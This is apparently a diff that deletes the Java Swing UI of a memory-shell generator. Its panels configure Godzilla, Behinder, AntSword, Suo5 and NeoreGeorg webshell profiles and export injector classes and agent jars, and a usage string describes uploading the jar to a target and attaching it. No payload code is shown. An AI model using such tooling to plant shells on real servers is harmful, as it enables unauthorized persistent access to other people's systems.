FileSaveUtil.saveBase64AsBytes(this, simpleClassFileName(r.getInjectorClassName()), r.getInjectorBytesBase64Str(), "class");
|
||||
}
|
||||
} catch (Exception ex) {
|
||||
SwingUiUtil.showError(this, "保存失败: " + ex.getMessage());
|
||||
}
|
||||
});
|
||||
top.add(new JLabel(title));
|
||||
top.add(copyBtn);
|
||||
top.add(saveBtn);
|
||||
p.add(top, BorderLayout.NORTH);
|
||||
p.add(new JScrollPane(area), BorderLayout.CENTER);
|
||||
return p;
|
||||
}
|
||||
|
||||
private JTextArea createTextArea() {
|
||||
JTextArea area = new JTextArea();
|
||||
area.setEditable(false);
|
||||
area.setLineWrap(true);
|
||||
area.setWrapStyleWord(true);
|
||||
area.setFont(new Font(Font.MONOSPACED, Font.PLAIN, 12));
|
||||
return area;
|
||||
}
|
||||
|
||||
public void showResult(DesktopMemShellGenerateResult result) {
|
||||
this.current = result;
|
||||
MemShellResult r = result.getMemShellResult();
|
||||
basicInfoView.setResult(result);
|
||||
packHeaderLabel.setText(result.getPackMethod() + (result.getPackResult() == null ? "" : " (" + result.getPackResult().length() + ")"));
|
||||
if (result.isJarOutput() || result.isAgentOutput()) {
|
||||
packResultArea.setText(buildUsageText(result));
|
||||
} else {
|
||||
packResultArea.setText(result.getPackResult());
|
||||
}
|
||||
shellArea.setText(r.getShellBytesBase64Str());
|
||||
injectorArea.setText(r.getInjectorBytesBase64Str());
|
||||
}
|
||||
|
||||
public void clear() {
|
||||
current = null;
|
||||
basicInfoView.clear();
|
||||
packResultArea.setText("");
|
||||
shellArea.setText("");
|
||||
injectorArea.setText("");
|
||||
packHeaderLabel.setText("未生成");
|
||||
}
|
||||
|
||||
private String buildUsageText(DesktopMemShellGenerateResult result) {
|
||||
if (result.isAgentOutput()) {
|
||||
return "1. 点击保存导出 Agent Jar\n2. 上传到目标机器\n3. 使用 jattach/attach 方式加载\n4. 按生成配置尝试连接/触发\n\n(下方“保存”按钮会保存打包后的 Jar)";
|
||||
}
|
||||
return "1. 点击保存导出 Jar\n2. 按目标环境触发类加载\n3. 使用基本信息中的参数连接内存马\n\n(下方“保存”按钮会保存打包后的 Jar)";
|
||||
}
|
||||
|
||||
private void savePackResult() {
|
||||
if (current == null) return;
|
||||
try {
|
||||
if (current.isJarOutput() || current.isAgentOutput()) {
|
||||
String baseName = current.getMemShellResult().getShellConfig().getServer() + current.getMemShellResult().getShellConfig().getShellTool() + (current.isAgentOutput() ? "MemShellAgent" : "MemShell");
|
||||
FileSaveUtil.saveBase64AsBytes(this, baseName + ".jar", current.getPackResult(), "jar");
|
||||
} else {
|
||||
FileSaveUtil.saveText(this, current.getPackMethod() + ".txt", current.getPackResult());
|
||||
}
|
||||
} catch (Exception ex) {
|
||||
SwingUiUtil.showError(this, "保存失败: " + ex.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
private static String simpleClassFileName(String className) {
|
||||
if (className == null || className.trim().isEmpty()) return "output.class";
|
||||
int idx = className.lastIndexOf('.');
|
||||
return (idx >= 0 ? className.substring(idx + 1) : className) + ".class";
|
||||
}
|
||||
|
||||
public JComponent getBasicInfoComponent() {
|
||||
return basicInfoView;
|
||||
}
|
||||
|
||||
static final class BasicInfoView extends JPanel {
|
||||
private final JPanel content = new JPanel(new MigLayout("insets 0, fillx, gapx 10, gapy 2, wrap 2", "[right]10[grow,fill]", "[]"));
|
||||
|
||||
BasicInfoView() {
|
||||
super(new BorderLayout());
|
||||
add(content, BorderLayout.CENTER);
|
||||
clear();
|
||||
}
|
||||
|
||||
void clear() {
|
||||
content.removeAll();
|
||||
content.revalidate();
|
||||
content.repaint();
|
||||
}
|
||||
|
||||
void setResult(DesktopMemShellGenerateResult result) {
|
||||
content.removeAll();
|
||||
MemShellResult r = result.getMemShellResult();
|
||||
ShellConfig shellConfig = r.getShellConfig();
|
||||
ShellToolConfig toolConfig = r.getShellToolConfig();
|
||||
appendToolRows(shellConfig, toolConfig);
|
||||
row("注入器类名", r.getInjectorClassName() + " (" + r.getInjectorSize() + " bytes)");
|
||||
row("内存马类名", r.getShellClassName() + " (" + r.getShellSize() + " bytes)");
|
||||
content.revalidate();
|
||||
content.repaint();
|
||||
}
|
||||
|
||||
private void appendToolRows(ShellConfig shellConfig, ShellToolConfig toolConfig) {
|
||||
if (toolConfig == null) {
|
||||
row("参数", "无");
|
||||
return;
|
||||
}
|
||||
String tool = shellConfig == null ? null : shellConfig.getShellTool();
|
||||
if (toolConfig instanceof GodzillaConfig) {
|
||||
GodzillaConfig c = (GodzillaConfig) toolConfig;
|
||||
row("密码", c.getPass());
|
||||
row("密钥", c.getKey());
|
||||
row("请求头", c.getHeaderName() + ": " + c.getHeaderValue());
|
||||
} else if (toolConfig instanceof BehinderConfig) {
|
||||
BehinderConfig c = (BehinderConfig) toolConfig;
|
||||
row("密码", c.getPass());
|
||||
row("请求头", c.getHeaderName() + ": " + c.getHeaderValue());
|
||||
} else if (toolConfig instanceof CommandConfig) {
|
||||
CommandConfig c = (CommandConfig) toolConfig;
|
||||
row("参数名", c.getParamName());
|
||||
row("请求头", c.getHeaderName() + ": " + c.getHeaderValue());
|
||||
row("加密器", c.getEncryptor() == null ? "" : c.getEncryptor().name());
|
||||
row("实现类", c.getImplementationClass() == null ? "" : c.getImplementationClass().name());
|
||||
if (c.getTemplate() != null) {
|
||||
row("命令模板", c.getTemplate());
|
||||
}
|
||||
} else if (toolConfig instanceof AntSwordConfig) {
|
||||
AntSwordConfig c = (AntSwordConfig) toolConfig;
|
||||
row("密码", c.getPass());
|
||||
row("请求头", c.getHeaderName() + ": " + c.getHeaderValue());
|
||||
} else if (toolConfig instanceof Suo5Config) {
|
||||
Suo5Config c = (Suo5Config) toolConfig;
|
||||
row("请求头", c.getHeaderName() + ": " + c.getHeaderValue());
|
||||
} else if (toolConfig instanceof ProxyConfig) {
|
||||
ProxyConfig c = (ProxyConfig) toolConfig;
|
||||
row("请求头", c.getHeaderName() + ": " + c.getHeaderValue());
|
||||
} else if (toolConfig instanceof NeoreGeorgConfig) {
|
||||
NeoreGeorgConfig c = (NeoreGeorgConfig) toolConfig;
|
||||
row("请求头", c.getHeaderName() + ": " + c.getHeaderValue());
|
||||
} else if (toolConfig instanceof CustomConfig) {
|
||||
CustomConfig c = (CustomConfig) toolConfig;
|
||||
String v = c.getShellClassBase64();
|
||||
row("自定义类(Base64)", v == null ? "" : (v.length() > 32 ? v.substring(0, 32) + "..." : v));
|
||||
} else if (tool != null) {
|
||||
row("工具类型", tool);
|
||||
}
|
||||
}
|
||||
|
||||
private void row(String key, String value) {
|
||||
addValueRow(key, value);
|
||||
}
|
||||
|
||||
private void addValueRow(String key, String value) {
|
||||
String text = value == null ? "" : value;
|
||||
content.add(new JLabel(key));
|
||||
JTextField tf = new JTextField(text);
|
||||
tf.setEditable(false);
|
||||
tf.setBorder(BorderFactory.createEmptyBorder(1, 4, 1, 4));
|
||||
tf.setOpaque(true);
|
||||
tf.setBackground(UIManager.getColor("Panel.background"));
|
||||
tf.setToolTipText(value == null ? "" : value);
|
||||
tf.setToolTipText(text);
|
||||
content.add(tf, "growx, wrap");
|
||||
}
|
||||
}
|
||||
}
|
||||
-118
@@ -1,118 +0,0 @@
|
||||
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
|
||||
|
||||
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
|
||||
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
|
||||
import net.miginfocom.swing.MigLayout;
|
||||
|
||||
import javax.swing.*;
|
||||
import javax.swing.event.DocumentEvent;
|
||||
import javax.swing.event.DocumentListener;
|
||||
import java.awt.*;
|
||||
import java.util.List;
|
||||
import java.util.function.Consumer;
|
||||
|
||||
public abstract class AbstractToolPanel extends JPanel implements RefreshableToolPanel {
|
||||
protected final MemShellFormController controller;
|
||||
protected final Runnable refreshAll;
|
||||
protected boolean updating;
|
||||
|
||||
protected final JComboBox<String> shellTypeCombo = new JComboBox<>();
|
||||
protected final JTextField urlPatternField = new JTextField();
|
||||
protected final JPanel shellTypeAndUrlRow = new JPanel(new MigLayout("insets 0, fillx, gapx 8", "[50%,fill][50%,fill]", "[]"));
|
||||
protected JPanel urlPatternRow = new JPanel(new BorderLayout());
|
||||
protected final JCheckBox randomClassNameCheck = new JCheckBox("随机类名");
|
||||
protected final JPanel manualClassPanel = new JPanel(new MigLayout("insets 0, fillx, gapx 8, gapy 2, wrap 2", "[grow,fill][grow,fill]", "[]"));
|
||||
protected final JTextField shellClassNameField = new JTextField();
|
||||
protected final JTextField injectorClassNameField = new JTextField();
|
||||
|
||||
protected AbstractToolPanel(MemShellFormController controller, Runnable refreshAll) {
|
||||
this.controller = controller;
|
||||
this.refreshAll = refreshAll;
|
||||
setLayout(new MigLayout("insets 6, fillx, gapx 8, gapy 2, wrap 2", "[grow,fill][grow,fill]", "[]4[]"));
|
||||
buildCommonShellTypeSection();
|
||||
}
|
||||
|
||||
protected void buildCommonShellTypeSection() {
|
||||
shellTypeAndUrlRow.add(labeled("内存马挂载类型", shellTypeCombo), "growx");
|
||||
urlPatternRow = labeled("请求路径", urlPatternField);
|
||||
shellTypeAndUrlRow.add(urlPatternRow, "growx");
|
||||
add(shellTypeAndUrlRow, "span 2, growx, wrap");
|
||||
|
||||
shellTypeCombo.addActionListener(e -> {
|
||||
if (updating) return;
|
||||
Object item = shellTypeCombo.getSelectedItem();
|
||||
if (item != null) {
|
||||
controller.setShellType(String.valueOf(item));
|
||||
refreshAll.run();
|
||||
}
|
||||
});
|
||||
bindText(urlPatternField, controller::setUrlPattern);
|
||||
}
|
||||
|
||||
protected void addRandomClassSection() {
|
||||
add(randomClassNameCheck, "span 2, split 2, wrap");
|
||||
manualClassPanel.add(labeled("内存马类名", shellClassNameField), "growx");
|
||||
manualClassPanel.add(labeled("注入器类名", injectorClassNameField), "growx");
|
||||
add(manualClassPanel, "span 2, growx, hidemode 3");
|
||||
|
||||
randomClassNameCheck.addActionListener(e -> {
|
||||
if (updating) return;
|
||||
controller.setRandomClassName(randomClassNameCheck.isSelected());
|
||||
refreshAll.run();
|
||||
});
|
||||
bindText(shellClassNameField, controller::setShellClassName);
|
||||
bindText(injectorClassNameField, controller::setInjectorClassName);
|
||||
}
|
||||
|
||||
protected JPanel labeled(String label, JComponent component) {
|
||||
JPanel p = new JPanel(new MigLayout("insets 0, fillx, wrap 1", "[grow,fill]", "[]1[]"));
|
||||
p.add(new JLabel(label), "growx");
|
||||
p.add(component, "growx");
|
||||
return p;
|
||||
}
|
||||
|
||||
protected void setComboItems(JComboBox<String> combo, List<String> items, String selected) {
|
||||
combo.removeAllItems();
|
||||
for (String item : items) combo.addItem(item);
|
||||
if (selected != null) combo.setSelectedItem(selected);
|
||||
}
|
||||
|
||||
protected void bindText(JTextField field, Consumer<String> setter) {
|
||||
field.getDocument().addDocumentListener(new DocumentListener() {
|
||||
@Override
|
||||
public void insertUpdate(DocumentEvent e) {
|
||||
changed();
|
||||
}
|
||||
|
||||
@Override
|
||||
public void removeUpdate(DocumentEvent e) {
|
||||
changed();
|
||||
}
|
||||
|
||||
@Override
|
||||
public void changedUpdate(DocumentEvent e) {
|
||||
changed();
|
||||
}
|
||||
|
||||
private void changed() {
|
||||
if (updating) return;
|
||||
setter.accept(field.getText());
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
protected void applyCommonState(MemShellFormState s) {
|
||||
updating = true;
|
||||
try {
|
||||
setComboItems(shellTypeCombo, controller.getShellTypesForCurrentTool(), s.getShellType());
|
||||
urlPatternField.setText(s.getUrlPattern());
|
||||
randomClassNameCheck.setSelected(s.isRandomClassName());
|
||||
boolean nextManualClassVisible = !s.isRandomClassName();
|
||||
manualClassPanel.setVisible(nextManualClassVisible);
|
||||
shellClassNameField.setText(s.getShellClassName());
|
||||
injectorClassNameField.setText(s.getInjectorClassName());
|
||||
} finally {
|
||||
updating = false;
|
||||
}
|
||||
}
|
||||
}
|
||||
-34
@@ -1,34 +0,0 @@
|
||||
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
|
||||
|
||||
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
|
||||
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
|
||||
|
||||
import javax.swing.*;
|
||||
|
||||
public class AntSwordToolPanel extends AbstractToolPanel {
|
||||
private final JTextField passField = new JTextField();
|
||||
private final JTextField headerNameField = new JTextField();
|
||||
private final JTextField headerValueField = new JTextField();
|
||||
|
||||
public AntSwordToolPanel(MemShellFormController controller, Runnable refreshAll) {
|
||||
super(controller, refreshAll);
|
||||
add(labeled("密码(可选)", passField), "span 2, growx, wrap");
|
||||
add(labeled("请求头名", headerNameField), "growx");
|
||||
add(labeled("请求头值(可选)", headerValueField), "growx, wrap");
|
||||
addRandomClassSection();
|
||||
bindText(passField, controller::setAntSwordPass);
|
||||
bindText(headerNameField, controller::setHeaderName);
|
||||
bindText(headerValueField, controller::setHeaderValue);
|
||||
}
|
||||
|
||||
@Override public void refreshFromController() {
|
||||
MemShellFormState s = controller.getState();
|
||||
applyCommonState(s);
|
||||
updating = true;
|
||||
try {
|
||||
passField.setText(s.getAntSwordPass());
|
||||
headerNameField.setText(s.getHeaderName());
|
||||
headerValueField.setText(s.getHeaderValue());
|
||||
} finally { updating = false; }
|
||||
}
|
||||
}
|
||||
-34
@@ -1,34 +0,0 @@
|
||||
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
|
||||
|
||||
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
|
||||
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
|
||||
|
||||
import javax.swing.*;
|
||||
|
||||
public class BehinderToolPanel extends AbstractToolPanel {
|
||||
private final JTextField passField = new JTextField();
|
||||
private final JTextField headerNameField = new JTextField();
|
||||
private final JTextField headerValueField = new JTextField();
|
||||
|
||||
public BehinderToolPanel(MemShellFormController controller, Runnable refreshAll) {
|
||||
super(controller, refreshAll);
|
||||
add(labeled("密码(可选)", passField), "span 2, growx, wrap");
|
||||
add(labeled("请求头名", headerNameField), "growx");
|
||||
add(labeled("请求头值(可选)", headerValueField), "growx, wrap");
|
||||
addRandomClassSection();
|
||||
bindText(passField, controller::setBehinderPass);
|
||||
bindText(headerNameField, controller::setHeaderName);
|
||||
bindText(headerValueField, controller::setHeaderValue);
|
||||
}
|
||||
|
||||
@Override public void refreshFromController() {
|
||||
MemShellFormState s = controller.getState();
|
||||
applyCommonState(s);
|
||||
updating = true;
|
||||
try {
|
||||
passField.setText(s.getBehinderPass());
|
||||
headerNameField.setText(s.getHeaderName());
|
||||
headerValueField.setText(s.getHeaderValue());
|
||||
} finally { updating = false; }
|
||||
}
|
||||
}
|
||||
-99
@@ -1,99 +0,0 @@
|
||||
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
|
||||
|
||||
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
|
||||
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
|
||||
import net.miginfocom.swing.MigLayout;
|
||||
|
||||
import javax.swing.*;
|
||||
|
||||
public class CommandToolPanel extends AbstractToolPanel {
|
||||
private final JPanel paramRow = new JPanel(new MigLayout("insets 0, fillx", "[grow,fill]", "[]"));
|
||||
private final JTextField paramField = new JTextField();
|
||||
private final JPanel headerRow = new JPanel(new MigLayout("insets 0, fillx, gapx 8", "[grow,fill][grow,fill]", "[]"));
|
||||
private final JTextField headerNameField = new JTextField();
|
||||
private final JTextField headerValueField = new JTextField();
|
||||
private final JCheckBox advancedToggle = new JCheckBox("高级配置");
|
||||
private final JPanel advancedPanel = new JPanel(new MigLayout("insets 0, fillx, gapx 8, gapy 2, wrap 2", "[grow,fill][grow,fill]", "[]"));
|
||||
private final JComboBox<String> encryptorCombo = new JComboBox<>();
|
||||
private final JComboBox<String> implCombo = new JComboBox<>();
|
||||
private final JTextField commandTemplateField = new JTextField();
|
||||
|
||||
public CommandToolPanel(MemShellFormController controller, Runnable refreshAll) {
|
||||
super(controller, refreshAll);
|
||||
paramRow.add(labeled("参数名(可选)", paramField), "growx");
|
||||
add(paramRow, "span 2, growx, wrap, hidemode 3");
|
||||
|
||||
headerRow.add(labeled("请求头名", headerNameField), "growx");
|
||||
headerRow.add(labeled("请求头值(可选)", headerValueField), "growx");
|
||||
add(headerRow, "span 2, growx, wrap, hidemode 3");
|
||||
|
||||
add(advancedToggle, "span 2, gapy 2 0, wrap");
|
||||
advancedPanel.add(labeled("加密器", encryptorCombo), "growx");
|
||||
advancedPanel.add(labeled("实现类", implCombo), "growx");
|
||||
advancedPanel.add(labeled("命令模板(可选)", commandTemplateField), "span 2, growx");
|
||||
add(advancedPanel, "span 2, growx, wrap, hidemode 3");
|
||||
|
||||
addRandomClassSection();
|
||||
|
||||
bindText(paramField, controller::setCommandParamName);
|
||||
bindText(headerNameField, controller::setHeaderName);
|
||||
bindText(headerValueField, controller::setHeaderValue);
|
||||
bindText(commandTemplateField, controller::setCommandTemplate);
|
||||
|
||||
encryptorCombo.addActionListener(e -> {
|
||||
if (updating) return;
|
||||
Object item = encryptorCombo.getSelectedItem();
|
||||
controller.setEncryptor(item == null ? "" : String.valueOf(item));
|
||||
});
|
||||
implCombo.addActionListener(e -> {
|
||||
if (updating) return;
|
||||
Object item = implCombo.getSelectedItem();
|
||||
controller.setImplementationClass(item == null ? "" : String.valueOf(item));
|
||||
});
|
||||
advancedToggle.addActionListener(e -> {
|
||||
advancedPanel.setVisible(advancedToggle.isSelected());
|
||||
revalidate();
|
||||
repaint();
|
||||
});
|
||||
}
|
||||
|
||||
@Override public void refreshFromController() {
|
||||
MemShellFormState s = controller.getState();
|
||||
applyCommonState(s);
|
||||
updating = true;
|
||||
boolean layoutVisibilityChanged = false;
|
||||
try {
|
||||
String encryptor = (s.getEncryptor() == null || s.getEncryptor().trim().isEmpty())
|
||||
? (controller.getCommandEncryptors().isEmpty() ? null : controller.getCommandEncryptors().get(0))
|
||||
: s.getEncryptor();
|
||||
String impl = (s.getImplementationClass() == null || s.getImplementationClass().trim().isEmpty())
|
||||
? (controller.getCommandImplementationClasses().isEmpty() ? null : controller.getCommandImplementationClasses().get(0))
|
||||
: s.getImplementationClass();
|
||||
setComboItems(encryptorCombo, controller.getCommandEncryptors(), encryptor);
|
||||
setComboItems(implCombo, controller.getCommandImplementationClasses(), impl);
|
||||
boolean nextParamVisible = controller.isCommandParamVisible();
|
||||
boolean nextHeaderVisible = controller.isCommandHeaderVisible();
|
||||
if (paramRow.isVisible() != nextParamVisible) {
|
||||
layoutVisibilityChanged = true;
|
||||
}
|
||||
if (headerRow.isVisible() != nextHeaderVisible) {
|
||||
layoutVisibilityChanged = true;
|
||||
}
|
||||
paramRow.setVisible(nextParamVisible);
|
||||
headerRow.setVisible(nextHeaderVisible);
|
||||
paramField.setText(s.getCommandParamName());
|
||||
headerNameField.setText(s.getHeaderName());
|
||||
headerValueField.setText(s.getHeaderValue());
|
||||
commandTemplateField.setText(s.getCommandTemplate());
|
||||
boolean nextAdvancedVisible = advancedToggle.isSelected();
|
||||
if (advancedPanel.isVisible() != nextAdvancedVisible) {
|
||||
layoutVisibilityChanged = true;
|
||||
}
|
||||
advancedPanel.setVisible(nextAdvancedVisible);
|
||||
} finally { updating = false; }
|
||||
if (layoutVisibilityChanged) {
|
||||
revalidate();
|
||||
repaint();
|
||||
}
|
||||
}
|
||||
}
|
||||
-131
@@ -1,131 +0,0 @@
|
||||
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
|
||||
|
||||
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
|
||||
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
|
||||
import com.reajason.javaweb.desktop.memshell.service.CustomClassNameParser;
|
||||
import com.reajason.javaweb.desktop.memshell.util.SwingUiUtil;
|
||||
import net.miginfocom.swing.MigLayout;
|
||||
|
||||
import javax.swing.*;
|
||||
import javax.swing.event.DocumentEvent;
|
||||
import javax.swing.event.DocumentListener;
|
||||
import java.awt.event.ActionEvent;
|
||||
import java.io.File;
|
||||
import java.nio.file.Files;
|
||||
import java.util.Base64;
|
||||
|
||||
public class CustomToolPanel extends AbstractToolPanel {
|
||||
private final CustomClassNameParser parser;
|
||||
private final JRadioButton base64Mode = new JRadioButton("Base64", true);
|
||||
private final JRadioButton fileMode = new JRadioButton("File");
|
||||
private final JTextArea base64Area = new JTextArea(4, 40);
|
||||
private final JButton fileButton = new JButton("选择 .class 文件");
|
||||
private final JLabel fileLabel = new JLabel("未选择文件");
|
||||
private final JPanel base64Panel = new JPanel(new MigLayout("insets 0, fillx", "[grow,fill]", "[grow,fill]"));
|
||||
private final JPanel filePanel = new JPanel(new MigLayout("insets 0, fillx, gapx 8", "[grow,fill][]", "[]"));
|
||||
private final Timer parseDebounce;
|
||||
|
||||
public CustomToolPanel(MemShellFormController controller, CustomClassNameParser parser, Runnable refreshAll) {
|
||||
super(controller, refreshAll);
|
||||
this.parser = parser;
|
||||
|
||||
ButtonGroup group = new ButtonGroup();
|
||||
group.add(base64Mode);
|
||||
group.add(fileMode);
|
||||
add(new JLabel("Shell Class"));
|
||||
JPanel radioWrap = new JPanel(new MigLayout("insets 0, gapx 8", "[][]", "[]"));
|
||||
radioWrap.add(base64Mode);
|
||||
radioWrap.add(fileMode);
|
||||
add(radioWrap, "growx, wrap");
|
||||
|
||||
base64Panel.add(new JScrollPane(base64Area), "grow");
|
||||
filePanel.add(fileLabel, "growx");
|
||||
filePanel.add(fileButton);
|
||||
add(base64Panel, "span 2, growx, gapy 1 0, wrap, hidemode 3");
|
||||
add(filePanel, "span 2, growx, gapy 1 0, wrap, hidemode 3");
|
||||
|
||||
addRandomClassSection();
|
||||
|
||||
parseDebounce = new Timer(400, this::parseAndFillClassName);
|
||||
parseDebounce.setRepeats(false);
|
||||
|
||||
base64Area.getDocument().addDocumentListener(new DocumentListener() {
|
||||
@Override public void insertUpdate(DocumentEvent e) { changed(); }
|
||||
@Override public void removeUpdate(DocumentEvent e) { changed(); }
|
||||
@Override public void changedUpdate(DocumentEvent e) { changed(); }
|
||||
private void changed() {
|
||||
if (updating) return;
|
||||
controller.setShellClassBase64(base64Area.getText());
|
||||
parseDebounce.restart();
|
||||
}
|
||||
});
|
||||
|
||||
base64Mode.addActionListener(e -> {
|
||||
if (updating) return;
|
||||
controller.setCustomInputMode("base64");
|
||||
refreshAll.run();
|
||||
});
|
||||
fileMode.addActionListener(e -> {
|
||||
if (updating) return;
|
||||
controller.setCustomInputMode("file");
|
||||
refreshAll.run();
|
||||
});
|
||||
fileButton.addActionListener(this::chooseFile);
|
||||
}
|
||||
|
||||
private void chooseFile(ActionEvent event) {
|
||||
JFileChooser chooser = new JFileChooser();
|
||||
int result = chooser.showOpenDialog(this);
|
||||
if (result != JFileChooser.APPROVE_OPTION) return;
|
||||
File file = chooser.getSelectedFile();
|
||||
try {
|
||||
byte[] bytes = Files.readAllBytes(file.toPath());
|
||||
String base64 = Base64.getEncoder().encodeToString(bytes);
|
||||
controller.setShellClassBase64(base64);
|
||||
fileLabel.setText(file.getName());
|
||||
String className = parser.parseClassName(bytes);
|
||||
controller.setShellClassName(className);
|
||||
refreshAll.run();
|
||||
} catch (Exception ex) {
|
||||
SwingUiUtil.showError(this, "读取自定义类失败: " + ex.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
private void parseAndFillClassName(ActionEvent ignored) {
|
||||
try {
|
||||
String base64 = controller.getState().getShellClassBase64();
|
||||
if (base64 == null || base64.trim().isEmpty()) return;
|
||||
String className = parser.parseClassNameFromBase64(base64);
|
||||
controller.setShellClassName(className);
|
||||
refreshAll.run();
|
||||
} catch (Exception ignoredEx) {
|
||||
// ignore parse errors while typing/pasting
|
||||
}
|
||||
}
|
||||
|
||||
@Override public void refreshFromController() {
|
||||
MemShellFormState s = controller.getState();
|
||||
applyCommonState(s);
|
||||
updating = true;
|
||||
boolean layoutVisibilityChanged = false;
|
||||
try {
|
||||
base64Mode.setSelected("base64".equalsIgnoreCase(s.getCustomInputMode()));
|
||||
fileMode.setSelected("file".equalsIgnoreCase(s.getCustomInputMode()));
|
||||
boolean nextBase64Visible = base64Mode.isSelected();
|
||||
boolean nextFileVisible = fileMode.isSelected();
|
||||
if (base64Panel.isVisible() != nextBase64Visible) {
|
||||
layoutVisibilityChanged = true;
|
||||
}
|
||||
if (filePanel.isVisible() != nextFileVisible) {
|
||||
layoutVisibilityChanged = true;
|
||||
}
|
||||
base64Panel.setVisible(nextBase64Visible);
|
||||
filePanel.setVisible(nextFileVisible);
|
||||
base64Area.setText(s.getShellClassBase64());
|
||||
} finally { updating = false; }
|
||||
if (layoutVisibilityChanged) {
|
||||
revalidate();
|
||||
repaint();
|
||||
}
|
||||
}
|
||||
}
|
||||
-40
@@ -1,40 +0,0 @@
|
||||
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
|
||||
|
||||
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
|
||||
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
|
||||
import net.miginfocom.swing.MigLayout;
|
||||
|
||||
import javax.swing.*;
|
||||
|
||||
public class GodzillaToolPanel extends AbstractToolPanel {
|
||||
private final JTextField passField = new JTextField();
|
||||
private final JTextField keyField = new JTextField();
|
||||
private final JTextField headerNameField = new JTextField();
|
||||
private final JTextField headerValueField = new JTextField();
|
||||
|
||||
public GodzillaToolPanel(MemShellFormController controller, Runnable refreshAll) {
|
||||
super(controller, refreshAll);
|
||||
add(labeled("密码(可选)", passField), "growx");
|
||||
add(labeled("密钥(可选)", keyField), "growx, wrap");
|
||||
add(labeled("请求头名", headerNameField), "growx");
|
||||
add(labeled("请求头值(可选)", headerValueField), "growx, wrap");
|
||||
addRandomClassSection();
|
||||
bindText(passField, controller::setGodzillaPass);
|
||||
bindText(keyField, controller::setGodzillaKey);
|
||||
bindText(headerNameField, controller::setHeaderName);
|
||||
bindText(headerValueField, controller::setHeaderValue);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void refreshFromController() {
|
||||
MemShellFormState s = controller.getState();
|
||||
applyCommonState(s);
|
||||
updating = true;
|
||||
try {
|
||||
passField.setText(s.getGodzillaPass());
|
||||
keyField.setText(s.getGodzillaKey());
|
||||
headerNameField.setText(s.getHeaderName());
|
||||
headerValueField.setText(s.getHeaderValue());
|
||||
} finally { updating = false; }
|
||||
}
|
||||
}
|
||||
-30
@@ -1,30 +0,0 @@
|
||||
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
|
||||
|
||||
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
|
||||
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
|
||||
|
||||
import javax.swing.*;
|
||||
|
||||
public class NeoRegToolPanel extends AbstractToolPanel {
|
||||
private final JTextField headerNameField = new JTextField();
|
||||
private final JTextField headerValueField = new JTextField();
|
||||
|
||||
public NeoRegToolPanel(MemShellFormController controller, Runnable refreshAll) {
|
||||
super(controller, refreshAll);
|
||||
add(labeled("请求头名", headerNameField), "growx");
|
||||
add(labeled("请求头值(可选)", headerValueField), "growx, wrap");
|
||||
addRandomClassSection();
|
||||
bindText(headerNameField, controller::setHeaderName);
|
||||
bindText(headerValueField, controller::setHeaderValue);
|
||||
}
|
||||
|
||||
@Override public void refreshFromController() {
|
||||
MemShellFormState s = controller.getState();
|
||||
applyCommonState(s);
|
||||
updating = true;
|
||||
try {
|
||||
headerNameField.setText(s.getHeaderName());
|
||||
headerValueField.setText(s.getHeaderValue());
|
||||
} finally { updating = false; }
|
||||
}
|
||||
}
|
||||
-42
@@ -1,42 +0,0 @@
|
||||
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
|
||||
|
||||
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
|
||||
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
|
||||
|
||||
import javax.swing.*;
|
||||
|
||||
public class ProxyToolPanel extends AbstractToolPanel {
|
||||
private final JPanel headerPanel = new JPanel(new net.miginfocom.swing.MigLayout("insets 0, fillx, gapx 8", "[grow,fill][grow,fill]", "[]"));
|
||||
private final JTextField headerNameField = new JTextField();
|
||||
private final JTextField headerValueField = new JTextField();
|
||||
|
||||
public ProxyToolPanel(MemShellFormController controller, Runnable refreshAll) {
|
||||
super(controller, refreshAll);
|
||||
headerPanel.add(labeled("请求头名", headerNameField), "growx");
|
||||
headerPanel.add(labeled("请求头值(可选)", headerValueField), "growx");
|
||||
add(headerPanel, "span 2, growx, wrap, hidemode 3");
|
||||
addRandomClassSection();
|
||||
bindText(headerNameField, controller::setHeaderName);
|
||||
bindText(headerValueField, controller::setHeaderValue);
|
||||
}
|
||||
|
||||
@Override public void refreshFromController() {
|
||||
MemShellFormState s = controller.getState();
|
||||
applyCommonState(s);
|
||||
updating = true;
|
||||
boolean layoutVisibilityChanged = false;
|
||||
try {
|
||||
boolean nextHeaderVisible = controller.isProxyHeaderVisible();
|
||||
if (headerPanel.isVisible() != nextHeaderVisible) {
|
||||
layoutVisibilityChanged = true;
|
||||
}
|
||||
headerPanel.setVisible(nextHeaderVisible);
|
||||
headerNameField.setText(s.getHeaderName());
|
||||
headerValueField.setText(s.getHeaderValue());
|
||||
} finally { updating = false; }
|
||||
if (layoutVisibilityChanged) {
|
||||
revalidate();
|
||||
repaint();
|
||||
}
|
||||
}
|
||||
}
|
||||
-5
@@ -1,5 +0,0 @@
|
||||
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
|
||||
|
||||
public interface RefreshableToolPanel {
|
||||
void refreshFromController();
|
||||
}
|
||||
-30
@@ -1,30 +0,0 @@
|
||||
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
|
||||
|
||||
